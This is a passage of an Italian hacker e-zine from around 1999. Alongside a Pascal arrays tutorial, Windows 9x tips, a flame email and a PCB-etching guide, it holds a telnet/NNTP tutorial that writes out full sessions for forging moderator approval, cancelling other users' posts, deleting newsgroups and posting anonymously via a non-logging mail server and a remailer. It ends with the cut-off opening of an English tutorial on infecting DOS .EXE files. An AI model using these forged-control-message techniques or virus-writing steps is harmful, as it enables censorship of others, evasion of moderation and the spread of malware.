Notiamo subito che la struttura REPEAT ... UNTIL, il blocco delle
istruzioni viene eseguito almeno una volta al suo interno anche se la
condizione e' vera.


- FOR ... TO ... DO
-------------------
L'istruzione FOR ... TO ... DO ci permette di eseguire il blocco delle
istruzioni per un certo numero di volte

For i:= l to m do
begin
istruzione1;
istruzione2;
istruzione3;
.
.
.
.
end;

dove i e' la variabile di controllo che si incrementa automaticamente di
una unita' ad ogni esecuzione del ciclo, l che deve partire da un valore
inziale fino a m, cioe' il valore finale.
Ora vi mostro un esempio:

------------------ ESEMPIO ----------------
Program CODICE_ASCII;
uses CRT;
var
i : byte;
begin
clrscr;
For i:= 1 to 255 do
begin
writeln(i,')',chr(i));
readln;
end;
end.
-------------------------------------------
Questo e' un progz che stampa a video tutti i caratteri ASCII.


3.7 VETTORI
-----------
Ragazzi ci avete capito finora?
Se avete capito, procediamo avanti con un nuovo argomento chiamato VETTORI.
E' che cazzo sono i VETTORI?
Calma Calma, sono qui per questo. ih ih ih ...

Bene, prima di inserire i vettori facciamo un piccolo esempio con i tipi
scalari standard che diventa complesso risolvere problemi anche molto
semplici.

ESEMPIO:

Begin
read(num1,num2,num3,num4, ....., num10);
formula:= num1+2num2+num3+num4 +...+num10)/10;
write(num1-formula,num2-formula,num3-formula,num4-formula, ..., num10-formula);
end.

Avete seguito attentamente l'esempio? Vi siete accorti subito delle
difficolta' che si deve affrontare. Perche'?
Perche' questi tipi di dato utilizzati finora, chiamati scalari, hanno
una caratteristica di rappresentare un singolo valore alla volta mentre
per risolvere a questo problema sono utili delle variabili strutturate
che ci permette di indicare con una parola unica con dentro un insieme
di dati. Nel linguaggio pascal si dichiara con ARRAY

* ARRAY *
---------
Per definire il tipo di una variabile strutturata bisogna specificare il
tipo della struttura e il tipo delle singole componenti.
Nel linguaggio pascal si dichiara in modo seguente:

type
vet1 = ARRAY[1..100] of integer;
vet2 = ARRAY[char] of real;
var
v1 : vet1;
v2 : vet2;

allora, ora vi spiego:

- v1 e' una variabile di tipo array con 100 elementi di tipo intero.
- v2 e' una variabile di tipo array con 256 (o 128) di tipo reali.

------------------------------------
ESEMPIO:
Facciamo un esempio di un vettore di numeri interi e sommarli tanto per
capire come funziona:

program somma_vet;
uses crt;
const
dimensione = 100;
type
vettore = array[1..dimensione] of integer;
var
num : vettore;
n,i,som : integer;
begin
clrscr; {* cancella lo schermo *}
write('Quanti numeri vuoi sommare ?');
readln(n);
for i := 1 to n do
begin
write('Dammi il ',i,'° numero = ');
readln(num[i]);
end;
som:= 0;
for i:= 1 to n do
som:= som + num[i];

writeln('La somma e' ',som);
readln;
end.
------------------------------------


Avete fatto le matrici a scuola?
Sapete cosa sono le matrici e come funzionano?
Uhm, comunque ve lo spiego lo stesso.
Una matrice non e' altro che una tabella di numeri righe e numeri di colonne
di dati.
Dal punto di vista della forma tra il vettore e matrice non cambia poi
moltissimo, infatti per la dichiarazione dobbiamo inserire due indici:


type
matrix = ARRAY[1..10,1..10] of integer;
var
mat : matrix;

Spero che avete capito...

-------------- Eccovi la lettura della matrice ----------
program matrice;
uses crt;
var m:array[1..3,1..3] of INTEGER;
I,J,dim:INTEGER;
begin
clrscr;
writeln('DAMMI LA DIMENSIONE DELLA MATRICE: ');
readln(dim);
for I:=1 to dim do
Begin
for J:=1 to dim do
Begin
Write ('Inserire l''elemento m[',I,',',J,'] ');
readln(m[i,j]);
end;
end;
readln;
End.
---------------------------------------------------------

Bene, spero che il mio tutorial lo avete capito...
La prossima volta vi spiego Procedure, Function, RECORD e FILES.
Non perdetevela ...

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ NNTP & FRIENDS ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Nulla si crea, nulla si distrugge, ma si trasforma. Infatti non posso essere
considerato il diretto autore di questo breve articolo, perché in verita' ho
effettuato una sorta di copia incolla, semplicemente fondendo tutte le
informazioni di mia conoscenza che ho trovato sparpagliate per la rete.
Nella prima fase spieghero' (brevemente) come funzionano le news e poi
passero' alla pratica. Chi gia' conosce il protocollo NNTP puo' passare
direttamente alla seconda sezione, evitando cosi' un'inutile rottura di
scatole di teoria. Gli altri invece, se vogliono capirci qualcosa, dovranno
per forza sorbirsi tutto il tutorial ;-). Via!
Eccovi la teoria del protocollo NNTP (Network News Transfer Protocol). Non
voglio dilungarmi troppo, un paio di esempi dovrebbero bastare; se siete
curiosi cercatevi il RFC (Request For Comments) su www.ripe.net Beh io non
l' ho letto, perché si trova tanto altro materiale in giro, ma chi e' curioso
e conosce l'inglese puo' benissimo farlo. Devo dare per scontato che gia'
sappiate cos'e' un client telnet, a cosa serve ecc... perché la loro
descrizione va oltre gli scopi di quest'articolo. Allora possiamo davvero
partire. Armatevi di telnet e connettevi su news.interbusiness.it (o quello
che vi pare, basta che azzeccate un nntp server!) sulla porta 119. Come gia'
detto, non posso stare qui a spiegarvi tutti i comandi, ma sappiate che per
spedire un messaggio ci vuole davvero poco. Alle tecniche piu' avanzate ci
penseremo dopo. Eccovi un esempio di quello che dovete inviare per scrivere
un semplice messaggio su alt.hackers.cough.cough.cough (ho riportato solo
quello che dovete scrivere voi, le risposte del server le vedrete!):

group alt.hackers.cough.cough.cough
post
From: Azathoth azathoth@freemail.it
Newsgroups: alt.hackers.cough.cough.cough
Subject: Sono un mago del telnet!
X-Newsreader: Azathoth telnet ver. Chetifrega

Salve, vi scrivo quest'articolino usando Telnet!!
.
quit

E' stato difficile? Non penso proprio! Nulla di strano, e' bastato poco. Se
leggerete post di altre persone vedrete che hanno intestazioni molto piu'
lunghe. Perché? Beh, c'e' anche gente che spedisce news in html e percio'
bisogna inserire dell'altra roba, ma a noi non interessa, anche perché ci
postano solo i lamer cosi'! ;-) Mi raccomando, i server nntp spesso sono
moooolto intasati e a rispondere ci potrebbero impiegare anche 4-5 secondi,
percio' abbiate pazienza e non scrivete finché non ricevete la relativa
risposta (tranne quando state scrivendo il body ovviamente!). Per i newbies
(consideriamo tutti!), ecco una brevissima spiegazione di quello che abbiamo
fatto, riga per riga: ci siamo "posizionati" sul newsgroup che volevamo,
abbiamo fatto la richiesta di postare un messaggio, poi tre righe
d'intestazioni. Il quarto campo l' ho inserito solo per bellezza. E',
infatti, opzionale (ce ne sarebbero altri opzionali, ma li useremo dopo per
le nostre procedure semi-maliziose). Infine abbiamo scritto il body e,dopo
il solito punto (che e' come il rosmarino), arriva il (anche questo c'e'
sempre) quit di chiusura. Fine della breve spiegazione. Non c'e' molto da
capire, basta fare una prova ed il gioco e' fatto. In caso di difficolta' e'
stato inventato "help", che v'inviera' tutti i comandi disponibili con
relativa descrizione (striminzita e in inglese, ma per un momento di
smarrimento ci possiamo accontentare).
Ed ora, come promesso, inizia la parte interessante. Purtroppo devo rivelarvi
che i newsserver piu' famosi non accettano qualsiasi stringa gli passiate,
perché, come ben si capisce, potreste mettere tutto in subbuglio. In ogni
caso non demordete, perché su news.interbusiness.it e' possibile cancellare
i messaggi! E poi di newsserver n'esistono moltissimi... A noi in realta' di
cancellare gruppi o cose simili non ci interessa, ma un hacker (o un
aspirante hacker) deve sempre avere la maggiore conoscenza possibile degli
strumenti che usa ;-) Allora, le cose da dire sono davvero molteplici, non
so proprio da dove cominciare! Innanzitutto vi dico che, nella maggior parte
dei casi, per smanettare un po' non dobbiamo fare granché, ma bastera'
semplicemente inserire qualche riga fra gli headers. Facciamo subito un
esempio. Come sicuramente saprete (almeno cosi' spero!) ci sono dei newsgroup
moderati, dove non si possono inserire messaggi senza l'autorizzazione del
moderatore. Almeno cosi' dovrebbe essere ;-) Noi invece postiamo dove ci pare
e quando ci pare e, per farlo, basta inserire solo una riga all'esempio
precedente. Mettiamo di voler postare una news su alt.hackers:

group alt.hackers
post
From: Azathoth <azathoth@freemail.it>
Newsgroups: alt.hackers
Subject: test
Approved: yes sir
X-Newsreader: yes, of course

Ciao usa!
.
quit

Da notare, c'e' solo l'aggiunta del campo Approved, dove potete inserire una
parola a casaccio. Questo si puo' fare su qualsiasi server, come l'altro
trucchetto che sto per scrivere. Adesso vediamo come cancellare i messaggi
degli altri. Ci servono due informazioni, facilmente reperibili: il campo
From e il Message-ID. Poi s'inserisce:

group alt.hackers.cough.cough.cough
post
From: "Azathoth" <azathoth@freemail.it>
Subject: cmsg cancel <7qc1jc$f00$1@fe1.cs.interbusiness.it>
Control: cancel <7qc1jc$f00$1@fe1.cs.interbusiness.it>
Approved: yes sir

.
quit

E' ovvio che dovete cambiare i rispettivi campi secondo il messaggio che
volete cancellare. Per i piu' sonnolenti: azz, ho cancellato ma il messaggio
c'e' ancora, perché? Perché lo avevi gia' scaricato in precedenza e anche se
e' stato rimosso dal server e' ancora sul tuo disco fisso. Se elimini tutto e
poi scarichi di nuovo, vedrai la magia! Oppure puoi anche provare a
prelevarlo sempre con telnet e ti verra' detto che il messaggio e' scomparso.
Chiaro? 8-) Questo che sto per aggiungere credo che sia l'ultimo dei comandi
sempre accettati :-( Per chi non lo sapesse, ogni messaggio che viene spedito
puo' anche essere letto dopo 50 anni grazie a www.deja.com. Se vi da fastidio
il fatto che le cose che spedite vengano archiviate, basta inserire tra i
vari X-qualcosa (non ve l'ho detto, ma vi potete anche inventare altri campi!
Che so, ci potete mettere X- QuantoSonoBravo: tantissimo) il famoso
X-No-Archive: yes e il messaggio non sara' ricordato in eterno :-) Questo
puo' essere molto comodo se usato insieme ad altri perché, per vedere chi
cancella i messaggi, basta cercare su www.deja.com il subject cmsg ed il
gioco e' fatto. Ci sono molte altre cose che si possono fare, ma queste sui
server piu' famosi non funzionano, altrimenti si ritroverebbero senza gruppi
in meno di una settimana :-) A proposito, non so nemmeno per quanto tempo
ancora funzioneranno gli altri...percio' in questo poco tempo che rimane, e'
d'obbligo divertirsi (magari si possono cancellare i propri, se non volete
fare i giustizieri della notte). Allora, vediamo adesso come creare un nuovo
gruppo di discussione senza passare tutti quegli stadi intermedi. Per la
cronaca: e' stato aggiunto su tiscalinet il gruppo attilahack, percio' li'
dovrebbe funzionare, bo! In ogni caso tenete conto che rischiate la galera
per "reato informatico". Insomma, bisogna mettere newgroup alt.qualcosa e
nel messaggio, se ci volete pure la descrizione, "For your newsgroups file:
alt.qualcosa descrizione"
. Comunque lo sconsiglio, il nostro obiettivo e'
quello di passare inosservati! E per eliminare un gruppo? rmgroup
alt.qualcosa in mezzo ad un normale messaggio. Siccome non mi va di
confondervi le idee, ecco la procedura completa per la rimozione:

From: "Azathoth" <azathoth@freemail.it>
Subject: hihihi
Control: rmgroup alt.qualcosa
Approved: yes sir

.
quit

Io consiglio caldamente di non usare gli ultimi due, perché passano
direttamente nella mani dell'amministratore (al contrario di tutti gli
altri), che si potrebbe anche incavolare :-( Io non li ho mai usati...
Chiudiamo in bellezza scoprendo come inviare un messaggio anonimo ad un
qualsiasi newsgroup. Qui la cosa si fa leggermente piu' complicata, perché
dobbiamo avvalerci di qualche conoscenza in piu' e usare i remailers. Facendo
come sto per suggerirvi nessun utente normale saro' in grado di rintracciarvi,
mentre la questione cambierebbe se doveste finire in tribunale (sarebbe lo
stesso complicato), ma non credo abbiate intenzione di fare chissa' cosa!
Allora, per prima cosa dobbiamo collegarci ad un server smtp che non tiene
log delle visite e non fa apparire il vostro IP. mail.amadeus.it per esempio
8-) Porta 25 e vai! Ecco cosa dovete scrivere:

helo 127.0.0.1
mail from: unknow@unknow.net
rcpt to: remailer@replay.com
data
From: unknow@unknow.net
To: remailer@replay.com

::
Anon-Post-To: alt.hackers.cough.cough.cough

##
Subject: chi sono?

Indovinate chi sono? Impossibile saperlo!

.
quit
Non c'e' null'altro da dire, no? Voglio concludere dicendo che io in realta'
non sono l'autore dell'articolo, poiché avreste potuto trovare tutte queste
informazioni semplicemente leggendo le RFC e usando solo un po' di fantasia.
Mi raccomando, usate le cose che vi ho insegnato con moderazione, perché
cancellare messaggi eccetera sono dei reati e non esiste un modo per essere
completamente anonimi. Finora non ho sentito nessuno che sia finito nei guai
per una questione del genere, ma il sysadmin se volesse in ogni caso potrebbe
sapere chi siete. Quindi, attenzione! Io ho cancellato solo i miei messaggi
sui gruppi di test. Per quanto riguarda invece l'ultimo pezzo, potete usarlo
tranquillamente ed e' anche una buona tecnica. Perché? Per prima cosa il
vostro Ip gia' non risulta su amadeus e poi abbiamo anche usato un remail,
percio' abbiamo un ottimo grado d'anonimita'. Se proprio ci tenete a cancellare,
consiglio di usare il bouncing, ossia prendete una shell gratuita, anzi, piu'
di una e collegatevi da una all'altra e infine al server. Ma questo va oltre
i miei scopi...Ahm, dimenticavo anche che non c'e' bisogno ogni volta di
riscrivere tutto con telnet, ma potete anche scrivere una stupidissima
utility. Con il visual basic e il winsock.ocx s'impiegano 10 minuti. Ho
finito! Nella speranza di avervi imparato qualcosa d'utile, vi saluto: buon
divertimento e good luck!

-=Azathoth=-
www.spippolatori.com
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

WINDOWS 9X... UN PO' DI TRUCCHI

***********************************************************************

Ecco un bel trucchetto per cambiare l'arresto di Windows.
Cerchiamo i file logos.sys e logow.sys nella cartella c:\windows (o dove
avete installato Windows).
Sebbene questi file terminino con l'estensione *.sys sono a tutti gli
effetti dei *.bmp, quindi dei file grafici.
Proviamo a copiare i file gia' presenti sul computer in un posto sicuro per
conservare una copia integra.
Adesso rinominiamo quelli che abbiamo copiato in modo da cambiare
l'estensione da *.sys in *.bmp .
A questo punto e' possibile aprirli con un qualsiasi programma di disegno.
Apriamoli e modifichiamoli a nostro piacimento. Salviamo il nostro capolavoro
e modifichiamolo nuovamente in *.sys e rimettiamolo in c:\windows (state
attenti di avere sempre una coppia di sicurezza).
D'ora in poi ogni volta che chiuderemo Windows riceveremo un messaggio di
saluto personalizzato.

***********************************************************************

Non ci piacciono le icone che abbiamo sulla scrivania del nostro amatissimo
Windozzo ? No problem. Apriamo Pbrush, selezioniamo la voce Immagine e poi
Attributi.
Modifichiamo la dimensione in 32 pixel di larghezza e 32 di altezza..
Ora disegniamo la nostra icona (magari usando la lente) e poi salviamo CON
ESTENSIONE *.ICO ! Non bmp. Bene, adesso facciamo un click su un programma
che abbiamo sulla scrivania, premiamo il tasto destro, selezioniamo propieta',
tasto "Cambia Icona", cerchiamo l'icona che abbiamo creato, clicchiamo Ok,
ancora Ok e... magia. Abbiamo disegnato un icona.

***********************************************************************

Vogliamo poter chiudere Windows con un solo click, senza dover fare tutta
la trafila Start, Chiudi Sessione, Arresta Sistema, Ok ?
Bene. Andiamo con il mouse sul desktop, clicchiamo con il terzo tasto in
punto qualsiasi del desktop, selezioniamo Nuovo, Collegamento, come riga
di comando inserite:
C:\WINDOWS\RUNDLL32.EXE user,Exitwindows
Date un nome e un icona al file. Ora provate ad aprirlo e... 3mendo !!
Windows si chiude senza domandarci niente !!

SCREENER_IT screener_it@usa.net
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ MITICA MAIL DI TEX IN RISPOSTA AL LAMERINO DI TURNO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Newsgroups: alt.hackers.cough.cough.cough
Subject: Re: URGENTE BISOGNO DI PASSWORD!

In data Wed, 10 Nov 1999 10:31:36 +0100, Tex <cybertex@technologist.com> cosi'
scrisse:

Riporto quanto arrivatomi in mail da tal "Platone" <platone_2000@yahoo.com>,
in reply a questo post.... Chissa' chi sara'.. mah.. Ti hanno gia' seccato
l'altra eMail, EmaSkywalker, o sei il cuGGino piu' grande?

>1)mi servivi

  
solo per fare numero
Perfetto, allora.. Sempre lieto di essere utile.

>2)Non ho chiesto A TE, potevi anche NON rispondere
Il NG e' pubblico, non lo sapevi?

>3)Fatti i CAZZI tuoi
Sono MOLTO cazzi miei, il perche' lo troverai spiegato piu' sotto, anche se non
lo capirai.

>4)Visto che sei cosi' FORTE e GROSSO e SPESSO mi faro' un giro nella tua
>mail e nel tuo pc
Forte, grosso e spesso? Bei termini...

>DI' CIAO BELLO!!!!!!!!!!!!!!!!!!!!
Ciao pirla (ho variato un po' dal tema, comunque fa niente).

>SAY CHEESE!!!!!!!
Guarda che per parlare inglese non e' che basta solo tradurre parola per
parola dall'italiano; devi anche rispettare le regole grammaticali.
Poi CHEESE si usa per le foto, non per i saluti.

Quello che mi fa incazzare, di tutto questo, non e' certo il tono della tua
risposta, ne' tantomeno mi fanno paura le tue minacce.. Non siamo in sala
giochi, o al Bar Sport. Mi fa incazzare la massa di deficenza [deficenza nel
significato latino del termine] che traborda dalla tua mail.

Deficenza in tutto.. Innanzitutto, e' sempre pericoloso fare minacce che non
puoi mantenere; sai forse chi sono io? Potrei essere un sedicenne che non
capisce un cazzo, oppure potrei essere ben altro [il rischio REALE che corri
in questo campo non e' il pc formattato.. E' il trovarsi dietro le sbarre,
ricordatelo quando usi le tue password o quando rompi i coglioni alla gente].

Ma come cazzo puoi venire a scrivermi 'mi faro' un giro nella tua mail e nel
tuo pc'?

Possibile che tu sia cosi' tardo? L'email che vedi non e' certo la mia mail
principale.. E' una mail
di battaglia, dedicata ai babbei di turno; la consulto dall'ufficio, con
velocita' di trasferimento intorno ai 100-200Kb/sec (sai contare fino a li'?
E' 40 volte la tua velocita' di connessione); se vuoi fare del mail bombing,
accomodati. Da Web ci metto molto poco a cancellare tutto; del resto, anche
da casa ci si mette poco, con uno script.

Ma e' possibile che tu non abbia un minuto da dedicare per vedere chi cazzo
sono io e da dove scrivo?
Possibile che tu sia cosi' ignorante ed arrogante da presupporre che tutti
usino Windows98 ed abbiano una decina di trojan installati, pronti per il
lamer [si scrive lamer ma leggilo COGLIONE] di turno?

L'Ip da cui scrivo e' statico, ed e' sempre 212.45.98.82 (chiunque -ma non
te- puo' vederlo); Se avessi PENSATO, avresti capito che raggiungere il PC
da cui scrivo e' PIUTTOSTO difficile, e sicuramente fuori dalla tua portata;
dovresti avere conoscenze che non raggiungerai mai. Se pero' ti riferisci al
PC di casa, temo sia sempre al di fuori della tua portata... Dovresti
conoscere l'IP del momento, poi io dovrei installare su NT o 95 un bel
trojan, altrimenti tu come potresti mai fare? Del resto, potrei riattivare
il telnetd su Linux... Ma temo che tu non sia capace di fare danni neanche
avendo una shell tra le mani, povero piccolo lamer [si scrive lamer ma
leggilo COGLIONE].

Tutto questo non perche' io sia particolarmente bravo, ma perche' tu sei
Zparticolarmente ignorante, arrogante e presuntuoso. Tant'e'... Purtroppo non
sei l'unico.... Come ti dicevo prima, sono MOLTISSIMO cazzi miei, e ti spiego
il perche'..

MI SONO ROTTO I COGLIONI di vedere e sentire notizie tipo 'Difendiamoci dagli
Hackers', 'Gli strumenti Hackers piu' diffusi', 'Gli Hackers sono pericolosi'
.. Se compri le riviste pseudo-specialistiche, e' pieno di questa spazzatura.
La televisione poi, se ci si mette, e' anche peggio.

Tutto questo ultimamente sta ricominciando, e tutto e' dovuto ad una marea di
ragazzini brufolosi e pippaioli, buoni solo a scaricare figa, virus e trojan
da Internet, per poi rompere i coglioni con mezzi che non capiscono a tutti
quelli che in Internet ci sono per lavoro, per diletto o per necessita'..

Lamer... Lamer come te, Lamer che usano prodotti e sistemi operativi perche'
va di moda, Lamer buoni solo ad usare trojan e backdoor confezionate da
altri, Lamer che credono che la rete sia l'ennesimo ritrovo di minorati,
dove si mettono in mostra gli scooter e le troiette di turno.

Lamer.. Buoni solo a chiedere "COME FACCIO A..", senza mai pensare al PERCHE'
le cose funzionano in quel modo.. Siete capaci solo di pretendere, ma
incapaci di capire. Qui, come probabilmente nella vita.

Io non sono un Hacker, e probabilmente mai lo diventero'.. Pero' adoro e
condivido in pieno l'ideologia Hacker, se e' corretto chiamarla ideologia..
Tu, Lamer, e gli altri Lamer come te..
Sciamate fuori dai vostri modem, alla ricerca del poveraccio indifeso, senza
rispetto di niente e di nessuno, senza pensare ai danni che provocate (agli
altri ed a voi).. Percorrete la rete in lungo ed in largo, alla ricerca di
'sfigati' e troie virtuali, senza accorgervi della cosa piu' affascinante,
piu' preziosa... E' la rete stessa.

Infestate la rete, infangate tutta una categoria di persone, che alla
conoscenza ci si e' dedicata anima e corpo; tutto per la vostra ignoranza
ed arroganza...

Quindi, prima di rispondermi di farmi i cazzi miei, pensaci. E leggi, invece
di farti le pippe..
Leggi tutto quello che ti capita sotto mano, invece di giocare a Quake
III; cerca di capire cos'e' un protocollo, prima di fare un giro nel PC di
qualche poveraccio... Hai una rete incredibilmente estesa e ricca di
informazioni, usala.. Non sprecarla come stai facendo.

Tex

P.S.: Evita di rispondermi, qui o in mail, perche' della tua risposta non me
ne frega un cazzo; il discorso con te finisce qui.

P.P.S.: Per tutti gli altri.... Scusate lo sfogo, ho scritto di getto.
--

===========================================================
"Adesso avete.. 2 Minuti.. Per abbandonare l'astronave.."
===========================================================

NOTA DI N0bodY88 : raga faccio i miei complimenti a Tex xche' a me sta mail e'
piaciuta come il manifesto di mentor! Una sola cosa non
capisco...Tex xche' ce l'hai coi pippaioli???? =) hihihi

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ IL METODO DEL FERRO DA STIRO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Materiale: Ovviamente un ferro da stiro
Un piano dove "stirare" liscio e resistente al calore
Una lastrina in vetronite non fotosensibilizzata
Pulitore per argento
Alcool etilico
Una stampante laser o una inkjet+fotocopiatrice
Un foglio di carta lucida (patinata)
Uno spazzolino da denti vecchio
Una bacinella di acqua fredda
Un pennerello resistente all'acqua che scriva su tutto
Una bacinella bassa e spessa (leggi : tipico fondovaso verde)
Soluzione satura di Ferro cloruro

1) Dal vostro programma di grafica preferito stampate (mirrored) il disegno
del PCB sul foglio di carta lucida (dalla parte lucida ;-)).
Fate una stampa 1:1 e se usate
una laser: Impostate al massimo la quantita' di toner.
una inkjet: Stampate in alta risoluzione (su di un foglio comune)
fate una fotocopia 1:1 con il contrasto al massimo.

2) Prendete la vostra lastrina di vetronite e lucidatela con il pulitore per
argento,risciacquatela con acqua,risciaquatela con alcool etilico..
Lasciate asciugare....
pazienza...
Una volta asciutta mettetela a faccia in su sul piano dove liscio
Appoggiateci il foglio con il toner a contatto del rame e
STIRATE STIRATE STIRATE alla massima temperatura (lino-cotone)

Il calore del ferro da stiro sciogliera' il TONER che si incollera'
alla lastrina insistete bene soprattutto se avete tracce sottili
premete si, ma non esagerate per non fare sbavare il toner
Quando vi sembra di aver stirato abbastanza riponete il ferro
li da dove lo avete rubato a vostra moglie

3) Prendete la lastina+foglio ormai un tuttuno (NON CON LE MANI SCOTTA !!!)

Lasciatelo raffreddare .... intanto preparerete la prima bacinella

Una volta freddo mettete a bagno la lastina+foglio
L'acqua a poco a poco sciogliera' la carta ...
Quando vi sembra che la carta sia abbastanza "spappata" rimuovetela con
lo
spazzolino un po' alla volta

!!!NON ABBIATE FRETTA O TOGLIERETE ANCHE IL TONER!!!

4) A questo punto dovreste avere la lastrina con sopra il disegno dello
stampato se ci sono piccole imperfezioni correggetele con il pennarello
se mancano piste intere GOTO 1 altrimenti CONGRATULAZIONI avete appreso
la tecnica.

5) Preparate (con i cristalli) o prendete (gia' pronta) la soluzione satura
di ferro clururo e scaldatela (con un phon per esempio)
ATTENZIONE IL FERRO CLORURO MACCHIA (le macchie possono essre tolte con
acido fosforico diluitissimo)

6) Mettete soluzione e lastrina nella seconda bacinella e agitate
a mo setaccio per pepite finche tutto il rame che non e' coperto
del toner si e sciolto; lavate la lastrina come al punto 2

7) Fate i buchi con il trapano, segate, scartavetrate, saldate ecc.

|M4X|
Maxpirata@hotmail.com

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛ°°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°°°°ÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°ÛÛ°ÛÛ°°°°°°ÛÛ°°°ÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛ°°°°°°°°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
> >
> -- Virus Programming (Not so Basic)-- >
> >
> by XaRaBaS [l1ghtz] >
> >
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Infecting an .EXE is not much more difficult than infecting a
.COM. To do so, you must learn about a structure known as the EXE
header. Once you've picked this up, it's not so difficult and it
offers many more options than just a simple jump at the beginning
of the code.

Let's begin:

% The Header structure %
The information on EXE header structure is available from any
good DOS book, and even from some other H/P/V mags. Anyhow, I'll
include that information here for those who don't have those
sources to understand what I'm talking about.

Offset Description
00 EXE identifier (MZ = 4D5A)
02 Number of bytes on the last page (of 512 bytes) of the
program
04 Total number of 512 byte pages, rounded upwards
06 Number of entries in the File Allocation Table
08 Size of the header in paragraphs, including the FAT
0A Minimum memory requirement
0C Maximum memory requirement
0E Initial SS
10 Initial SP
12 Checksum
14 Initial IP
16 Initial CS
18 Offset to the FAT from the beginning of the file
1A Number of generated overlays

The EXE identifier (MZ) is what truly distinguishes the EXE from
a COM, and not the extension. The extension is only used by DOS to
determine which must run first (COM before EXE before BAT). What
really tells the system whether its a "true" EXE is this identifier
(MZ).
Entries 02 and 04 contain the program size in the following
format: 512 byte pages * 512 + remainder. In other words, if the
program has 1025 bytes, we have 3 512 byte pages (remember, we must
round upwards) plus a remainder of 1. (Actually, we could ask why
we need the remainder, since we are rounding up to the nearest
